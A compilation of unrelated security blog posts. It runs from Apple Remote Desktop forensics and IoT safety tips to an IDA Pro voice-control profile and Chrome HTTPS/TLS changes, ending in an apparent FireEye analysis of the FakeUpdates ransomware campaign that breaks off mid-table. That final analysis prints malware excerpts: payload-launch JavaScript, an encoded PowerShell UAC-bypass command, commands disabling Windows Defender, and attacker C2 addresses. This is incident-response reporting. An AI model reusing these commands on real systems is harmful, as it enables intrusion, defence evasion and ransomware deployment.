Property names for each element, such as ProductName, ProductID, VendorID, VendorName for Mac_USBDeviceElement

PropertyMapID

Integer

ID number for each property, per element

Table 7: PropertyNameMap table columns

SystemInformation

There is a substantial amount of system information collected in this table. This table can be leveraged to extract USB device information, IP addresses, hostnames, and more, of all the reported client systems.

Column

Value Format

Description

ComputerID

String

Client MAC address, with colon separators

ObjectName

String

Elements of a macOS system outlined in the PropertyNameMap table

PropertyName

String

Properties per element outlined in the PropertyNameMap table

ItemSeq

Integer

ID number for each element, i.e. if there are 4 Mac_USBDeviceElement data sets, each one will have an ItemSeq number, 0-3, to group the properties together

Value

String

Data for the respective property

LastUpdated

yyyy-mm-ddThh:mm:ssZ

24 hour local time, last report time of the client. Example: 2019-08-07T02:11:34Z

Table 8: SystemInformation table columns

UserUsage

This table contains the user login activity for all the reported client systems.

Column

Description of Value

ComputerID

Client MAC address, no separators

LastUpdated

macOS absolute timestamp, last report time of the client

UserName

Short name of the user

LoginType

Console, tty, or ssh

inTime

macOS absolute timestamp, time the user logged in

outTime

macOS absolute timestamp, time the user logged out

Host

Originating host for remote login. This field has been observed to not be consistently present.

Table 9: UserUsage table columns

Filesystem Cache

The RemoteManagement/ClientCaches/filesystem.cache file is a database that indexes the files and directories found on a macOS computer’s file system. Rather than using SQLite like the RMDB, ARD uses a custom database implementation to track this information. Fortunately, the database file format is fairly simple, consisting of a file header, six tables, and entries that point to string values. By interpreting the information in the filesystem cache file, an investigator can recreate the directory structure of an ARD-enable system. Mandiant uses this technique to identify and demonstrate the existence of attacker-created files.

The database header, identified by the magic value “hdix”, contains metadata about the database, such as the total number of indexed folders, files, and symlinks. Pointers from this header lead to the six tables: “main”, “names” (file names), “kinds” (file extensions), “versions” (macOS app bundle version infos), “users”, and “groups”. Entries in the “main” table contain references to entries in the other tables; by walking these references, an investigator can recover full file system paths and metadata.

In practice, the filesystem.cache file may be tens of megabytes in size, tracking dozens or hundreds of thousands of file system entries. Figure 4 shows truncated content of a parsed file system cache file; these entries are for the artifacts discussed in this article!


Figure 4: Screenshot of filesystem.cache contents, listing ARD artifacts

On a macOS system, the program “build_hd_index” traverses the file system and indexes the files and directories into filesystem.cache. Figure 5 shows a portion of the documentation for this tool; as expected, the default output directory is [/private]/var/db/RemoteManagement/caches/.


Figure 5: documentation for build_hd_index

Ironically, internet message board posts going back to at least 2007 complain of the performance impact of this tool. A post by “Anonymous” indicates that “build_hd_index” was designed to support file indexing on OS X Panther (2003), which didn’t have Spotlight. Now, 16 years later, we can exploit these artifacts during an incident response.

Introducing: ARDvark

It was evident that if this artifact exists in a future investigation, leveraging its wealth of data will be critical to identifying attacker activities. In some scenarios, investigators may be able to generate reports directly from an ARD administrator system, but this may not always be the case. If not, then investigators would have to rely on manually acquiring and extracting information from the RMDB file on the ARD administrator system. ARDvark is a tool that extracts all user activity and application usage recorded in the RMDB and outputs the data in an analyst-friendly format.

ARDvark will also process the AppUsage.plist and UserAcct.tmp files found on ARD client systems under /private/var/db/RemoteManagement/caches/. Additionally, ARDvark has the capability to parse the filesystem.cache files to produce a file system listing, as well as all users and groups present on the respective system. Please see the FireEye Github for more information.

Detecting and Preventing ARD Abuse

To detect suspicious ARD usage, organizations can monitor for anomalous modification of the /Library/Application Support/Apple/Remote Desktop/RemoteManagement.launchd file to identify remote desktop access enablement where ARD is not used. Analyzing the Unified Logs for evidence of unexpected kickstart commands during threat hunting missions can uncover suspicious ARD usage as well.

Mitigating ARD abuse is reliant upon the principle of least privilege. Mandiant recommends allowing as few remote control privileges as possible, and only allowing administrator privileges to necessary accounts. Apple provides guidance on setting privileges, and authenticating without using local accounts with ARD in the help page and in the ARD user guide. ARD administrators can then routinely generate reports in the ARD application to ensure no changes are made to administration privilege settings.

A Bushel of Evidence

Application usage artifacts for macOS are few and far between. To date, some of the best artifacts for application usage include CoreAnalytics files and the Spotlight database, but none of these artifacts provide the exact time of execution of all applications. While ARD artifacts are not present across every macOS system, if ARD is deployed in an enterprise environment it may provide some of the most valuable data for investigators which you would not uncover otherwise.

User login activity typically exists in the Apple System Logs and Audit Logs, but short log retention is frequently an issue when the average attacker dwell time in 2018 was 78 days. The RMDB provides a potential source of application usage and user login information that is over a year old, long outliving typical log retention times.

The system information available in the RMDB includes IP addresses, USB device information, and more which may be useful to investigators. Also, the file system cache files that are collected contain an extensive file listing of multiple macOS systems, which allows investigators to identify files or users of interest on other systems without having to collect data from the suspect system directly.

ARD is an excellent example of how remote administration tools provide an attack surface for abuse while simultaneously providing a vast amount of data to help piece together malicious activity, all from a single system. If your organization utilizes ARD, consider reviewing the information available through the reporting functionality during threat hunting and future investigative purposes, as the artifact doesn’t fall far from the tree.

Prevent database is secure but not secret | Letter

Describing a documented database as ‘secret’ risks causing unjustified distrust in a multi-agency programme that seeks to protect those vulnerable to all forms of radicalisation and keep our communities safe, writes Chief Constable Simon Cole

Your front-page lead (7 October) talks of a “secret” police Prevent database. It is not a very well kept “secret”; a quick online search brings up numerous references to its existence in public documents – and it is where the published annual referral statistics are sourced from. The Prevent pages on the National Police Chiefs’ Council website also refer to the fact Prevent officers keep records.

We do this for exactly the same purpose we document other forms of supportive safeguarding activity such as for child sexual exploitation, domestic abuse or human trafficking. It means we can be – and are – subject to oversight and accountability.

Continue reading...

Best Practices for Keeping Tabs on Your Apps

Let’s start this conversation out with the definition of device. The list of what constitutes one is growing. For now, let’s say that you have a home computer (desktop, laptop, or both), work computer (desktop, laptop, or both), home tablet, work tablet, personal smartphone, and work smartphone. This is a pretty extensive list of devices that an adversary could use to attack you professionally and personally. But what about your Amazon Alexa or gadgets, smart toys, and smart clocks? What about Google Assistant or Microsoft Cortana? Do you also have a SmartTV? What about NEST, Wink, WeMo, SensorPush, Neurio, ecobee4, Philips Hue, Smart Lock, GarageMate? Hoo boy! The list of connected devices goes on and on.

Are all of these devices safe to use? Well, the simple answer is no—unless you specifically paid attention to its security. Also, for your smart devices that work via voice control, do you know who might be listening on the other end? To make things worse, many of these devices are also used in the corporate world, because they are easy to deploy, and are very affordable.

What about applications? Did the developer that created the application you are using ensure they used good secure coding techniques? Or is there a likelihood they introduced a flaw in their code? Are the servers for the application you are running in the cloud secure? Is the data you are storing on these cloud systems protected from unauthorized access?

All really good questions we rarely ask ourselves—at least before we use the latest and coolest applications available. We all make risk-based decisions every day, but do we ever ensure we have all the data before we make that risk-based decision?

What Can You Do?

Start by doing whatever homework and research you can. Make sure you understand the social engineering methods that the malicious actors are currently using. Unsolicited phone calls from a government agency (like the IRS), a public utility, or even Microsoft or Apple are not legitimate. No you don’t owe back taxes, no your computer has not been hacked, no you don’t need to give out sensitive personal information to your power company over the phone.

How Can You Choose Safe Applications?

Simply Google “Is this <name of application> secure?” Never install an application that you don’t feel you can trust. Using an application is all about risk management. Make sure you understand the potential risk to device and data compromise, prior to choosing to use it.

How Can You Better Secure Your Home Network?

  1. Upon installation of any device, immediately change the login and password. These are often stored in the configuration files that come with the product, therefore are easy to look up.
  2. Change the login and password on your home Wi-Fi router frequently.
  3. Ensure the software for anything that connects is up to date.
  4. Make sure you have a clear sense of where your sensitive data is stored—and how it is protected. Is it adequately protected—or, better yet, encrypted?
  5. When in doubt, don’t connect an IoT device to the Internet.

Lastly, look at some solutions that can be added to your home Wi-Fi network, that provide additional layers of protection and detection against IoT and other advanced attacks. F-Secure Sense Gadget is one such solution, as is Luma smart Wi-Fi router, Dojo, and CUJO. Dojo, for example, monitors all incoming and outgoing traffic and performs analysis looking for malicious traffic. With known weaknesses in IoT and home networks in general, solutions like the above are a good investment.

Don’t Give Hackers Easy Access

Not long ago, a casino in the Northeast had a fish tank in their lobby. To make management of the fish tank easier, they installed an IoT-enabled thermostatic control to set and monitor water temperature in the tank. The thermostatic control was connected to their internal network, as well as IoT-enabled to allow easy access from anywhere on the Internet. The device was breached from the Internet by malicious actors, and the internal network was penetrated, allowing the hackers to steal information from a high-roller database before devices monitoring the network were able to identify the unauthorized data leaving the network and shut it down. A classic case of what can happen without the right due diligence.

Try and follow this motto. Just because you can, does not mean you should. The latest shiny IT gadget that will make you seem cool, or potentially make some portion of your life easier to manage, should be evaluated thoroughly for security weaknesses, before you turn it on and open it up to the world. Make that good risk-based decision. Not many of us would consider doing this: “Hey Alexa, open up my desktop computer so that all my sensitive data is opened for all the world to see.” Or would we?

The post Best Practices for Keeping Tabs on Your Apps appeared first on Connected.

IDA, I Think It’s Time You And I Had a Talk: Controlling IDA Pro With Voice Control Software

Introduction

This blog post is the next episode in the FireEye Labs Advanced Reverse Engineering (FLARE) team Script Series. Today, we are sharing something quite unusual. It is not a tool or a virtual machine distribution, nor is it a plugin or script for a popular reverse engineering tool or framework. Rather, it is a profile created for a consumer software application completely unrelated to reverse engineering or malware analysis… until now. The software is named VoiceAttack, and its purpose is to make it easy for users to control other software on their computer using voice commands. With FLARE’s new profile for VoiceAttack, users can completely control IDA Pro with their voice! Have you ever dreamed of telling IDA Pro to decompile a function or show you the strings of a binary? Well dream no more! Not only does our profile give you total control of the software, it also provides shortcuts and other cool features not previously available. It’s our hope that providing voice control for the world’s most popular disassembler will further empower users with repetitive stress injuries or disabilities to more effectively put their reverse engineering skills to use with this new accessibility option as well as helping the community at large work more efficiently.

Check out our video demonstration of some of the features of the profile to see it in action.

How Does It Work?

Voice attack is an inexpensive software application that utilizes the Windows Speech Recognition (WSR) feature to enable the creation of user-defined, voice-activated macros. The user specifies a key word or phrase, then defines one or more actions to be taken when that word or phrase is recognized. The most common types of actions to be taken include key presses, mouse movement and clicks, and clipboard manipulation. However, there are many other more advanced features available that provide a lot of flexibility to users including variables, loops, and conditionals. You can even have the computer speak to you in response to your commands! VoiceAttack requires an internet connection, but only during the registration process, after which the network adapter can be disabled or configured to a network that cannot reach the internet without issue.

To use VoiceAttack, you must first train Windows Speech Recognition to recognize your voice. Instructions on how to do so can be found here. This process only takes a few minutes at minimum, but the more time you spend training, the better the experience you will have with it.

What Does the IDA Pro Profile Provide?

FLARE’s IDA Pro profile for VoiceAttack maps every advertised keyboard shortcut in IDA Pro to a voice command. Although this is only one part of what the profile provides, many users will find this in itself very useful. When developing this profile, I was shocked to discover just how many keyboard shortcuts there really are for IDA Pro and what can be accomplished with them. Some of my favorite shortcuts are found under the View->Open Subviews and Windows menus. With this profile, I can simply say “show strings” or “show structures” or “show window x” to change the tab I am currently viewing or open a new view in a tab without having to move my mouse cursor anywhere. The next few paragraphs describe some other useful commands to make any reverse engineer’s job easier. For a more detailed description of the profile and commands available, see the Github page.

Macros

A series of voice commands can perform multi-step actions not otherwise reachable by individual keyboard shortcuts. For example, wouldn’t it be nice to have commands to toggle the visibility of opcode bytes (see Figure 1)? Currently, you have to open the Options menu, select the General menu item, input a value in the Number of opcode bytes text field, and click the OK button. Well, now you can simply say “show opcodes” or “hide opcodes” and it will be so!


Figure 1: Configuring the number of opcode bytes to show in IDA Pro's disassembly view

Defining a Unicode string in IDA Pro is a multi-step exercise, whether you navigate to the Edit->Strings menu or use the “string literals” keyboard shortcut Alt+A followed by pressing the U key as shown in Figure 2. Now you can simply say “make Unicode string” and the work is done for you.


Figure 2: String literals dialog in IDA Pro

Reversing a C++ application? The Create struct from selection action is a very helpful feature in this case, but it requires you to navigate to the Edit->Structs menu in order to use it. The voice command “create struct from selection” does this for you automatically. The “look it up” command will copy the currently highlighted token in the disassembly and search Google for it using your default browser. There are several other macros in the profile that are like this and save you a lot of time navigating menus and dialogs to perform simple actions.

Cursor Movement, Dialogs, and Navigation

The cursor movement commands allow the user to move the cursor up, down, left, or right, one or more times, in specified increments. These commands also allow for scrolling with a voice command that commences scrolling in a chosen direction, and another voice command for stopping scrolling. There are even voice commands to set the speed of the scroll to slow, medium, or fast. In the disassembly view, the cursor can also be moved per “word” on the current line of the disassembly or decompilation, or even per basic block or function.

Like many other applications, dialogs are a part of IDA Pro’s user interface. The ability to easily navigate and interact with items in a dialog with your voice is essential to a smooth user experience. Voice commands in the profile enable the user to easily click the OK or Cancel buttons, toggle checkboxes, and tab through controls in the dialog in both directions and in specified increments.

With the aid of a companion IDAPython plugin, additional navigation commands are supported. Commands that allow the user to move the cursor to the beginning or end of the current function, to the next or previous “call” instruction, to the previous or next instruction containing the highlighted token, or to a specified number of bytes forward or backwards from the current cursor position help to make voice-controlled navigation easier.

These cursor movement and navigation commands enable users to have full control of IDA Pro without the use of their hands. While this is true and an important goal for the profile, it is not practical for people who have full use of their hands to go completely hands-free. The commands that navigate the cursor in IDA Pro will never be as fast or easy as simply using the mouse to point and click somewhere on the screen. In any case, users will find themselves building up a collection of voice commands they prefer to use that will depend on personal tastes. However, enabling full voice control allows reverse engineers who do not have full use of their hands to still effectively operate IDA Pro, which we hope will be of great use to the community. Having such a capability is also useful for those who suffer from repetitive strain injury.

Input Recognition

The commands described so far give you control over IDA Pro with your voice, but there is still the matter of providing textual input for items such as function and variable names, comments, and other text input fields. VoiceAttack does provide the ability in macros to enable and disable what is called “Dictation Mode”. When in Dictation Mode, any recognized words are added to a buffer of text until Dictation Mode is disabled. Then this text can be used elsewhere in the macro. Unfortunately, this feature is not designed to recognize the kinds of technical terms one would be using in the context of reverse engineering programs. Even if it were, there is still the issue of having to format the text to be a valid function or variable name. Instead of wrestling with this feature to try to make it work for this purpose, a very large and growing collection of “input recognition” commands was created. These commands are designed to recognize common words used in the names of functions and variables, as well as full function names as found in the C runtime libraries and the Windows APIs. Once recognized, the word or function name is copied to the user’s clipboard and pasted into the text field. To avoid the inadvertent triggering of such commands during the regular operation of IDA Pro, these commands are only active when the “input mode” is enabled. This mode is enabled automatically when certain commands are activated such as “rename” or “find”, and automatically disabled when dialog commands such as “OK” or “cancel” are activated. The input mode can also be manually manipulated with the “input mode on” and “input mode off” commands.

Conclusion

Today, the FLARE team is releasing a profile for VoiceAttack and a companion IDAPython plugin that enables full voice control of IDA Pro along with many added convenience features. The profile contains over 1000 defined commands and growing. It is easy to view, edit, and add commands to this profile to customize it to suit your needs or to improve it for the community at large. The VoiceAttack software is highly affordable and enables you to create profiles for any applications or games that you use. For installation instructions and usage information, see the project’s Github page. Give it a try today!

No More Mixed Messages About HTTPS


Today we’re announcing that Chrome will gradually start ensuring that https:// pages can only load secure https:// subresources. In a series of steps outlined below, we’ll start blocking mixed content (insecure http:// subresources on https:// pages) by default. This change will improve user privacy and security on the web, and present a clearer browser security UX to users.
In the past several years, the web has made great progress in transitioning to HTTPS: Chrome users now spend over 90% of their browsing time on HTTPS on all major platforms. We’re now turning our attention to making sure that HTTPS configurations across the web are secure and up-to-date.
HTTPS pages commonly suffer from a problem called mixed content, where subresources on the page are loaded insecurely over http://. Browsers block many types of mixed content by default, like scripts and iframes, but images, audio, and video are still allowed to load, which threatens users’ privacy and security. For example, an attacker could tamper with a mixed image of a stock chart to mislead investors, or inject a tracking cookie into a mixed resource load. Loading mixed content also leads to a confusing browser security UX, where the page is presented as neither secure nor insecure but somewhere in between.
In a series of steps starting in Chrome 79, Chrome will gradually move to blocking all mixed content by default. To minimize breakage, we will autoupgrade mixed resources to https://, so sites will continue to work if their subresources are already available over https://. Users will be able to enable a setting to opt out of mixed content blocking on particular websites, and below we’ll describe the resources available to developers to help them find and fix mixed content.
Timeline
Instead of blocking all mixed content all at once, we’ll be rolling out this change in a series of steps.
  • In Chrome 79, releasing to stable channel in December 2019, we’ll introduce a new setting to unblock mixed content on specific sites. This setting will apply to mixed scripts, iframes, and other types of content that Chrome currently blocks by default. Users can toggle this setting by clicking the lock icon on any https:// page and clicking Site Settings. This will replace the shield icon that shows up at the right side of the omnibox for unblocking mixed content in previous versions of desktop Chrome.



Accessing Site settings, from which users will be able to unblock mixed content loads in Chrome 79.
    • In Chrome 80, mixed audio and video resources will be autoupgraded to https://, and Chrome will block them by default if they fail to load over https://. Chrome 80 will be released to early release channels in January 2020. Users can unblock affected audio and video resources with the setting described above.
    • Also in Chrome 80, mixed images will still be allowed to load, but they will cause Chrome to show a “Not Secure” chip in the omnibox. We anticipate that this is a clearer security UI for users and that it will motivate websites to migrate their images to HTTPS. Developers can use the upgrade-insecure-requests or block-all-mixed-content Content Security Policy directives to avoid this warning. 



    Omnibox treatment for websites that load mixed images in Chrome 80. 

    • In Chrome 81, mixed images will be autoupgraded to https://, and Chrome will block them by default if they fail to load over https://. Chrome 81 will be released to early release channels in February 2020.
    Resources for developers
    Developers should migrate their mixed content to https:// immediately to avoid warnings and breakage. Here are some resources:
    • Use Content Security Policy and Lighthouse’s mixed content audit to discover and fix mixed content on your site.
    • See this guide for general advice on migrating servers to HTTPS.
    • Check with your CDN, web host, or content management system to see if they have special tools for debugging mixed content. For example, Cloudflare offers a tool to rewrite mixed content to https://, and WordPress plugins are available as well.

    Chrome UI for Deprecating Legacy TLS Versions


    [Cross-posted from the Chromium blog]

    Last October we announced our plans to remove support for TLS 1.0 and 1.1 in Chrome 81. In this post we’re announcing a pre-removal phase in which we’ll introduce a gentler warning UI, and previewing the UI that we’ll use to block TLS 1.0 and 1.1 in Chrome 81. Site administrators should immediately enable TLS 1.2 or later to avoid these UI treatments.
    While legacy TLS usage has decreased, we still see over 0.5% of page loads using these deprecated versions. To ease the transition to the final removal of support and to reduce user surprise when outdated configurations stop working, Chrome will discontinue support in two steps: first, showing new security indicators for sites using these deprecated versions; and second, blocking connections to these sites with a full page warning.
    Pre-removal warning
    Starting January 13, 2020, for Chrome 79 and higher, we will show a “Not Secure” indicator for sites using TLS 1.0 or 1.1 to alert users to the outdated configuration:
    The new security indicator and connection security information that will be shown to users who visit a site using TLS 1.0 or 1.1 starting in January 2020.

    When a site uses TLS 1.0 or 1.1, Chrome will downgrade the security indicator and show a more detailed warning message inside Page Info. This change will not block users from visiting or using the page, but will alert them to the downgraded security of the connection.
    Note that Chrome already shows warnings in DevTools to alert site owners that they are using a deprecated version of TLS.
    Removal UI
    In Chrome 81, which will be released to the Stable channel in March 2020, we will begin blocking connections to sites using TLS 1.0 or 1.1, showing a full page interstitial warning:
    The full screen interstitial warning that will be shown to users who visit a site using TLS 1.0 or 1.1 starting in Chrome 81. Final warning subject to change.

    Site administrators should immediately enable TLS 1.2 or later. Depending on server software (such as Apache or nginx), this may be a configuration change or a software update. Additionally, we encourage all sites to revisit their TLS configuration. In our original announcement, we outlined our current criteria for modern TLS.
    Enterprise deployments can preview the final removal of TLS 1.0 and 1.1 by setting the SSLVersionMin policy to “tls1.2”. This will prevent clients from connecting over these protocol versions. For enterprise deployments that need more time, this same policy can be used to re-enable TLS 1.0 or TLS 1.1 and disable the warning UIs until January 2021.

    Head Fake: Tackling Disruptive Ransomware Attacks

    Within the past several months, FireEye has observed financially-motivated threat actors employ tactics that focus on disrupting business processes by deploying ransomware in mass throughout a victim’s environment. Understanding that normal business processes are critical to organizational success, these ransomware campaigns have been accompanied with multi-million dollar ransom amounts. In this post, we’ll provide a technical examination of one recent campaign that stems back to a technique that we initially reported on in April 2018.

    Between May and September 2019, FireEye responded to multiple incidents involving a financially-motivated threat actor who leveraged compromised web infrastructure to establish an initial foothold in victim environments. This activity bared consistencies with a fake browser update campaign first identified in April 2018 – now tracked by FireEye as FakeUpdates. In this newer campaign, the threat actors leveraged victim systems to deploy malware such as Dridex or NetSupport, and multiple post-exploitation frameworks. The threat actors’ ultimate goal in some cases was to ransom systems in mass with BitPaymer or DoppelPaymer ransomware (see Figure 1).


    Figure 1: Recent FakeUpdates infection chain

    Due to campaign proliferation, we have responded to this activity at both Managed Defense customers and incident response investigations performed by Mandiant. Through Managed Defense network and host monitoring as well as Mandiant’s incident response findings, we observed the routes the threat actor took, the extent of the breaches, and exposure of their various toolkits.

    Knock, Knock: FakeUpdates are Back!

    In April 2018, FireEye identified a campaign that used compromised websites to deliver heavily obfuscated Trojan droppers masquerading as Chrome, Internet Explorer, Opera, and/or Firefox browser updates. The compromised sites contained code injected directly into the HTML or in JavaScript components rendered by the pages which had been injected. These sites were accessed by victim users either via HTTP redirects or watering-hole techniques utilized by the attackers.

    Since our April 2018 blog post, this campaign has been refined to include new techniques and the use of post-exploitation toolkits. Recent investigations have shown threat actor activity that included internal reconnaissance, credential harvesting, privilege escalation, lateral movement, and ransomware deployment in enterprise networks. FireEye has identified that a large number of the compromised sites serving up the first stage of FakeUpdates have been older, vulnerable Content Management System (CMS) applications.

    You Are Using an Older Version…of our Malware

    The FakeUpdates campaign begins with a rather intricate sequence of browser validation, performed before the final payload is downloaded. Injected code on the initial compromised page will make the user’s browser transparently navigate to a malicious website using hard-coded parameters. After victim browser information is gleaned, additional redirects are performed and the user is prompted to download a fake browser update. FireEye has observed that the browser validation sequence may have additional protections to evade sandbox detections and post-incident triage attempts on the compromise site(s).


    Figure 2: Example of FakeUpdate landing page after HTTP redirects

    The redirect process used numerous subdomains, with a limited number of IP addresses. The malicious subdomains are often changed in different parts of the initial redirects and browser validation stages.

    After clicking the ‘Update’ button, we observed the downloading of one of three types of files:

    • Heavily-obfuscated HTML applications (.hta file extensions)
    • JavaScript files (.js file extensions)
    • ZIP-compressed JavaScript files (.zip extensions)

    Figure 3 provides a snippet of JavaScript that provides the initial download functionality.

    var domain = '//gnf6.ruscacademy[.]in/';
    var statisticsRequest = 'wordpress/news.php?b=612626&m=ad2219689502f09c225b3ca0bfd8e333&y=206';
    var statTypeParamName = 'st';

    var filename = 'download.hta';
    var browser = 'Chrome';
    var special = '1';   
    var filePlain = window.atob(file64);
    var a = document.getElementById('buttonDownload');

    Figure 3: Excerpts of JavaScript code identified from the FakeUpdates landing pages

    When the user opens the initial FakeUpdates downloader, the Windows Scripting Host (wscript.exe) is executed and the following actions are performed:

    1. A script is executed in memory and used to fingerprint the affected system.
    2. A subsequent backdoor or banking trojan is downloaded if the system is successfully fingerprinted.
    3. A script is executed in memory which:
      • Downloads and launches a third party screenshot utility.
      • Sends the captured screenshots to an attacker.
    4. The payload delivered in step 2 is subsequently executed by the script process.

    The backdoor and banking-trojan payloads described above have been identified as Dridex, NetSupport Manager RAT, AZOrult, and Chthonic malware. The strategy behind the selective payload delivery is unclear; however, the most prevalent malware delivered during this phase of the infection chain were variants of the Dridex backdoor.

    FakeUpdates: More like FakeHTTP

    After the end user executes the FakeUpdates download, the victim system will send a custom HTTP POST request to a hard-coded Command and Control (C2) server. The POST request, depicted in Figure 4, showed that the threat actors used a custom HTTP request for initial callback. The Age HTTP header, for example, was set to a string of 16 seemingly-random lowercase hexadecimal characters.


    Figure 4: Initial HTTP communication after successful execution of the FakeUpdates dropper

    The HTTP Age header typically represents the time in seconds since an object has been cached by a proxy. In this case, via analysis of the obfuscated code on disk, FireEye identified that the Age header correlates to a scripted “auth header” parameter; likely used by the C2 server to validate the request. The first HTTP POST request also contains an XOR-encoded HTTP payload variable “a=”.

    The C2 server responds to the initial HTTP request with encoded JavaScript. When the code is decoded and subsequently executed, system and user information is collected using wscript.exe. The information collected from the victim system included:

    • The malicious script that initialized the callback
    • System hostname
    • Current user account
    • Active Directory domain
    • Hardware details, such as manufacturer
    • Anti-virus software details
    • Running processes

    This activity is nearly identical to the steps observed in our April 2018 post, indicating only minor changes in data collection during this stage. For example, in the earlier iteration of this campaign, we did not observe the collection of the script responsible for the C2 communication. Following the system information gathering, the data is subsequently XOR-encoded and sent via another custom HTTP POST request request to the same C2 server, with the data included in the parameter “b=”. Figure 5 provides a snippet of sample of the second HTTP request.


    Figure 5: Second HTTP POST request after successful system information gathering

    Figure 6 provides a copy of the decoded content, showing the various data points the malware transmitted back to the C2 server.

    0=500
    1=C:\Users\User\AppData\Local\Temp\Chrome.js
    2=AMD64
    3=SYSTEM1
    4=User
    5=4
    6=Windows_NT
    7=DOMAIN
    8=HP
    9=HP EliteDesk
    10=BIOS_VERSION
    11=Windows Defender|Vendor Anti-Virus
    12=Vendor Anti-Virus|Windows Defender|
    13=00:00:00:00:00:00
    14=Enhanced (101- or 102-key)
    15=USB Input Device
    16=1024x768
    17=System Idle Process|System|smss.exe|csrss.exe|wininit.exe|csrss.exe| winlogon.exe|services.exe|lsass.exe|svchost.exe|svchost.exe|svchost.exe|svchost.exe|svchost.exe|
    svchost.exe|spoolsv.exe|svchost.exe|svchost.exe|HPLaserJetService.exe|conhost.exe…

    Figure 6: Decoded system information gathered by the FakeUpdates malware

    After receiving the system information, the C2 server responds with an encoded payload delivered via chunked transfer-encoding to the infected system. This technique evades conventional IDS/IPS appliances, allowing for the second-stage payload to successfully download. During our investigations and FireEye Intelligence’s monitoring, we recovered encoded payloads that delivered one of the following:

    • Dridex (Figure 7)
    • NetSupport Manage Remote Access Tools (RATs) (Figure 8)
    • Chthonic or AZORult (Figure 9)
        function runFile() {
            var lastException = '';
            try {
                var wsh = new ActiveXObject("WScript.Shell");
                wsh.Run('cmd /C rename "' + _tempFilePathSave + '" "' + execFileName + '"');
                WScript.Sleep(3 * 1000);
                runFileResult = wsh.Run('"' + _tempFilePathExec + '"');
                lastException = '';
            } catch (error) {
                lastException = error.number;
                runFileExeption += 'error number:' + error.number + ' message:' + error.message;
            }
        }

    Figure 7: Code excerpt observed in FakeUpdates used to launch Dridex payloads

        function runFile() {
            var lastException = '';
            try {
                var wsh = new ActiveXObject("WScript.Shell");
                runFileResult = wsh.Run('"' + _tempFilePathExec + '" /verysilent');
                lastException = '';
            } catch (error) {
                lastException = error.number;
                runFileExeption += 'error number:' + error.number + ' message:' + error.message;
            }
        }

    Figure 8: Code excerpt observed in FakeUpdates used to launch NetSupport payloads

        function runFile() {
            var lastException = '';
            try {
                var wsh = new ActiveXObject("WScript.Shell");
                runFileResult = wsh.Run('"' + _tempFilePathExec + '"');
                lastException = '';
            } catch (error) {
                lastException = error.number;
                runFileExeption += 'error number:' + error.number + ' message:' + error.message;
            }
        }

    Figure 9: Code excerpt observed in FakeUpdates used to launch Chthonic and AZORult payloads

    During this process, the victim system downloads and executes nircmdc.exe, a utility specifically used during the infection process to save two system screenshots. Figure 10 provides an example command used to capture the desktop screenshots.

    "C:\Users\User\AppData\Local\Temp\nircmdc.exe" savescreenshot "C:\Users\User\AppData\Local\Temp\6206a2e3dc14a3d91.png"

    Figure 10: Sample command used to executed the Nircmd tool to take desktop screenshots

    The PNG screenshots of the infected systems are then transferred to the C2 server, after which they are deleted from the system. Figure 11 provides an example of a HTTP POST request, again with the custom Age and User-Agent headers.


    Figure 11: Screenshots of the infected system are sent to an attacker-controlled C2

    Interestingly, the screenshot file transfers were neither encoded nor obfuscated, as with other data elements transferred by the FakeUpdates malware. As soon as the screenshots are transferred, nircmdc.exe is deleted.

    All Hands on Deck

    In certain investigations, the incident was far from over. Following the distribution of Dridex v4 binaries (botnet IDs 199 and 501), new tools and frameworks began to appear. FireEye identified the threat actors leveraged their Dridex backdoor(s) to execute the publicly-available PowerShell Empire and/or Koadic post-exploitation frameworks. Managed Defense also identified the FakeUpdates to Dridex infection chain resulting in the download and execution of PoshC2, another publicly available tool. While it could be coincidental, it is worth noting that the use of PoshC2 was first observed in early September 2019 following the announcement that Empire would no longer be maintained and could represent a shift in attacker TTPs. These additional tools were often executed between 30 minutes and 2 hours after initial Dridex download. The pace of the initial phases of related attacks possibly suggests that automated post-compromise techniques are used in part before interactive operator activity occurs.

    We identified extensive usage of Empire and C2 communication to various servers during these investigations. For example, via process tracking, we identified a Dridex-injected explorer.exe executing malicious PowerShell: a clear sign of an Empire stager:


    Figure 12: An example of PowerShell Empire stager execution revealed during forensic analysis

    In the above example, the threat actors instructed the victim system to use the remote server 185.122.59[.]78 for command-and-control using an out-of-the-box Empire agent C2 configuration for TLS-encrypted backdoor communications.

    During their hands-on post-exploitation activity, the threat actors also moved laterally via PowerShell remoting and RDP sessions. FireEye identified the use of WMI to create remote PowerShell processes, subsequently used to execute Empire stagers on domain-joined systems. In one specific case, the time delta between initial Empire backdoor and successful lateral movement was under 15 minutes. Another primary goal for the threat actor was internal reconnaissance of both the local system and domain the computer was joined to. Figure 13 provides a snippet of Active Directory reconnaissance commands issued by the attacker during one of our investigations.


    Figure 13: Attacker executed commands

    The threat actors used an Empire module named SessionGopher and the venerable Mimikatz to harvest endpoint session and credential information. Finally, we also identified the attackers utilized Empire’s Invoke-EventVwrBypass, a Windows bypass technique used to launch executables using eventvwr.exe, as shown in Figure 14.

    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -c $x=$((gp HKCU:Software\Microsoft\Windows Update).Update); powershell -NoP -NonI -W Hidden -enc $x


    Figure 14: PowerShell event viewer bypass

    Ransomware Attacks & Operator Tactics

    Within these investigations, FireEye identified the deployment BitPaymer or DoppelPaymer ransomware. While these ransomware variants are highly similar, DoppelPaymer uses additional obfuscation techniques. It also has enhanced capabilities, including an updated network discovery mechanism and the requirement of specific command-line execution. DoppelPaymer also uses a different encryption and padding scheme.

    The ransomware and additional reconnaissance tools were downloaded through public sharing website repositories such as DropMeFiles and SendSpace. Irrespective of the ransomware deployed, the attacker used the SysInternals utlity PSEXEC to distribute and execute the ransomware.  

    Notably, in the DoppelPaymer incident, FireEye identified that Dridex v2 with the Botnet ID 12333 was downloaded onto the same system previously impacted by an instance of Dridex v4 with Botnet ID 501. Within days, this secondary Dridex instance was then used to enable the distribution of DoppelPaymer ransomware.  Prior to DoppelPaymer, the threat actor deleted volume shadow copies and disabled anti-virus and anti-malware protections on select systems. Event log artifacts revealed commands executed through PowerShell which were used to achieve this step (Figure 15):

    Event Log

    EID

    Message

    Microsoft-Windows-PowerShell%4Operational

    600

     HostApplication=powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true

    Microsoft-Windows-PowerShell%4Operational

    600

     HostApplication=powershell.exe Uninstall-WindowsFeature -Name Windows-Defender

    Application

    1034

    Windows Installer removed the product. Product Name: McAfee Agent-++-5.06.0011-++-1033-++-1603-++-McAfee, Inc.-++-(NULL)-++--++-. Product Version: 82.

